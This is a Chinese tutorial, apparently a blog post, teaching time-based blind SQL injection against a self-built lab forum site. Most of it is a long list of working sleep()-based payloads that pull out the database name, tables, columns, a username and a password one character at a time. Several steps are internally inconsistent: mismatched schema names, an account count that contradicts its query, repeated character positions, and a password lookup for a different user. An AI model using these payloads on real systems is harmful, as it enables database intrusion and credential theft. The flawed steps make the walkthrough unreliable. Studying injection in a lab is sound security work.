1 概述
当改变浏览器传给后台SQL的参数后, 浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入;同时,输入参数为真或假也无法从页面显示上查出差异,无法使用布尔注入 ,这时候可以试试看能否使用延时注入。
延时盲注:也称延时注入、时间注入等,这种注入方式在传给后台的参数中,设置了一个if语句,当条件为真时执行sleep语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测sleep语句是否被执行,进而推测if条件是否为真。
延时盲注与布尔盲注的核心思想都是通过浏览器两种不同的响应来推测输入的条件的真假,布尔盲注是条件真假时页面会有不同显示,延时盲注则是显示结果真假只能从响应时间上进行推测。
缺点:有时候网页响应慢并不是因为sleep语句起来效果,也可能是网络等外部因素的影响。同时时间成本很高。
2 操作环境
实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》
注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
3 操作具体步骤
3.1 判断是否存在注入点及注入的类型
在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在SQL注入点以及注入类型,如是否是字符型还是数值型,是否有布尔状态,是否存在延迟注入等。首先用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。然后进行如下测试。
(1)假设测试情况如下:
- 修改参数分别为
?id=5、?id=6、?id=7
页面回显内容不发生变化 - 修改参数为
?id=5'
或?id=5"
,页面不出现报错信息。 - 修改参数为①
?id=5 and 1=1
;②?id=5 and 1=2
,页面显示结果一样,不存在布尔类型的状态。
(2) 判断参数是否存在延迟注入。按F12打开调试面板,修改参数为?id=5 and sleep(5)
,并刷新。可以看到sleep语句对网页的响应起到作用,也就是意味着存在延迟注入的可能。
(3)采用延时注入进行注入。
3.2 延迟注入获取库名、表名、字段名及字段内容
3.2.1 获取库名
(1)修改参数为?id=1 and if(length(database())<10,sleep(5),1)
,页面延迟了5秒才响应,说明数据库名长度小于10为真。
(2)经过多次测试,当修改参数为?id=1 and if(length(database())=4,sleep(5),1)
时,页面延迟了5秒才响应,说明数据库名长度等于4为真。
(3)测试第一个字符内容,经过多次测试,当修改参数为?id=1 and if(ascii(substr(database(),1,1))=106,sleep(5),1)
时,页面延迟了5秒才响应,说明数据库名第一个字符ASCII码值为106,查表可得该字符为j。
(4)按同样方法可以测试出其他3位字符,得到数据库名为jrlt。
3.2.2 获取表名、字段名及字段内容
思路与布尔盲注类似,根据响应的时间判断条件的真假,从而依次得到表名、字段名及字段内容,具体做法可参考《【SQL注入-05】布尔盲注案例》此处不再赘述。按以上做法,汇总全过程注入代码如下:
测试表的数量
?id=1 and if((select count(table_name) from information_schema.tables where table_schema = 'my_test')=2,sleep(5),1) //说明有2个表
测试第1个表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))=109,sleep(5),1) //m
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),2,1))=101,sleep(5),1) //e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),3,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),4,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),5,1))=97,sleep(5),1) //a
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),6,1))=103,sleep(5),1) //g
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),7,1))=101,sleep(5),1) //e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),8,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),9,1))=0,sleep(5),1) //为空字符,说明第1个表名为messages
测试第2个表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),1,1))=117,sleep(5),1) //u
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),2,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),3,1))=101,sleep(5),1) //e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),4,1))=114,sleep(5),1) //r
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),5,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),6,1))=0,sleep(5),1) //为空字符,说明第2个表名为users
测试users表中有多少个字段
?id=1 and if((select count(column_name) from information_schema.columns where table_name = 'users')=5,sleep(5),1) //说明有5个字段
测试第1个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=105,sleep(5),1) //i
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),2,1))=100,sleep(5),1) //d
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),3,1))=0,sleep(5),1) //空字符,说明第一个字段名为id
测试第2个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))=110,sleep(5),1) //n
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),2,1))=97,sleep(5),1) //a
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),3,1))=109,sleep(5),1) //m
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),4,1))=101,sleep(5),1) //e
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),5,1))=0,sleep(5),1) //空字符,说明第二个字段名为name
测试第3个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),1,1))=112,sleep(5),1) //p
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),2,1))=97,sleep(5),1) //a
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),3,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),4,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),5,1))=119,sleep(5),1) //w
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),6,1))=111,sleep(5),1) //o
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),7,1))=114,sleep(5),1) //r
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),8,1))=100,sleep(5),1) //d
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),9,1))=0,sleep(5),1) //空字符,说明第二个字段名为password
测试users表中的账户数量
?id=1 and if((select count(name) from users)=4,sleep(5),1) //说明有3个账号
测试users表的第一个账号
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=68,sleep(5),1) //D
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=117,sleep(5),1) //u
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=90,sleep(5),1) //Z
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=90,sleep(5),1) //Z
?id=1 and if(ascii(substr((select name from users limit 0,1),2,1))=0,sleep(5),1) //空字符,说明第一个账户为DuZZ
测试users表的第一个账号a的密码
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),1,1))=49,sleep(5),1) //1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),2,1))=50,sleep(5),1) //2
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),3,1))=51,sleep(5),1) //3
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),4,1))=52,sleep(5),1) //4
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),5,1))=53,sleep(5),1) //5
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),6,1))=54,sleep(5),1) //6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),33,1))=0,sleep(5),1) //空字符
因此a账户的密码为123456。
其余两个账号与第一个账号类似可得
4 总结
(1)理解延时盲注与布尔盲注的区别和联系;
(2)掌握延时盲注的方法。